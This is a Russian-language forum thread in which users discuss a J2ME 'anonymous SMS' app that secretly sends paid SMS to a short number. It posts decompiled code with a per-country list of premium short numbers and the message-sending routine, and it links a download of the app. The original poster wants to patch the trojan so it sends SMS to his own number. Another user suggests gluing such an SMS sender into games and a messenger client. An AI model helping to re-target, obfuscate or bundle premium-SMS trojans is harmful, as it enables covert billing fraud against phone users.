PDA

Просмотр полной версии : подмена номера в java приложении


ufalog
09.01.2010, 02:59
есть приложение isms

(1252263934_sms_anonim.rar)

скачать можно по ссылке :

http://www.sendspace.com/file/tu5b3c


оно якобы предлагает отослать анонимную смс другу,или подруге от любого номера.

на самом же деле шлет платную смс 9016

на номер 8355


Message From sms://8355 9016


декодировав классы видим что с.class содержит следующее значение




c(Main main)

{

super(p);

S = "8355";

T = "isms";

U = "iSMS";

aa = "";

ab = "";

ac = "";

am = null;

an = null;

ao = null;

ap = null;

N = main;

M = main.a("/ops");

R = new String[7];

R[0] = a(0x12e598f, 1);

R[1] = a(0x12e76ca, 1);

R[2] = a(0x12e62cd, 1);

R[3] = a(0x12e684c, 1);

R[4] = a(0x12e7d9a, 1);

R[5] = a(0x12e7e0c, 1);

R[6] = a(0x12e7f74, 1);

S = R[0];








T = String.valueOf(l2) + "6";

ap = "ru,8355,3;ua,7137,1.6;kz,4449,3;kg,4449,3;by,4449, 2.3;ge,4449,4.2;tj,4449,3;am,4449,1000;az,4448,0.8 ;ee,1206,3;lv,1824,3;lt,1624,3;il,4070,4.2;";

V = new Hashtable();

W = new Hashtable();




сменив эти значение на свои прогой JavaByte мы получаем что приложение будет слать смс на ваш номер и ваш текст .... но не тут то было...


приложение до сих пор шлет смс с текстом 9016 на номер 8355


декодирова все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355


так вот что за чудеса? может кто разбираться в JAVA и подскажет откуда приложение генерирует эту пару номер текст (9016/8355)

ufalog
09.01.2010, 03:02
{

P = "sms://" + am;

System.out.println(P + " " + Q);

MessageConnection messageconnection;

TextMessage textmessage;

(textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open(P)).newMessage("text")).setPayloadText(Q);

messageconnection.send(textmessage);

messageconnection.close();

}

heretic1990
09.01.2010, 13:41
декодировав все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355
посмотри, может эти значения зашифрованы!

suser
09.01.2010, 14:26
чё за JavaByte?
у меня есть прога SMS Send там в MANIFEST.MF настраивается всё
может можно её с играми и джимом склеить но я хз :D

ufalog
09.01.2010, 16:51
чё за JavaByte?
у меня есть прога SMS Send там в MANIFEST.MF настраивается всё
может можно её с играми и джимом склеить но я хз :D

JavaByte позволяет менять значения данных в .class файлах на свои без декодирования.

suser
09.01.2010, 17:24
JavaByte позволяет менять значения данных в .class файлах на свои без декодирования.
Дай прожку пожалуйста :)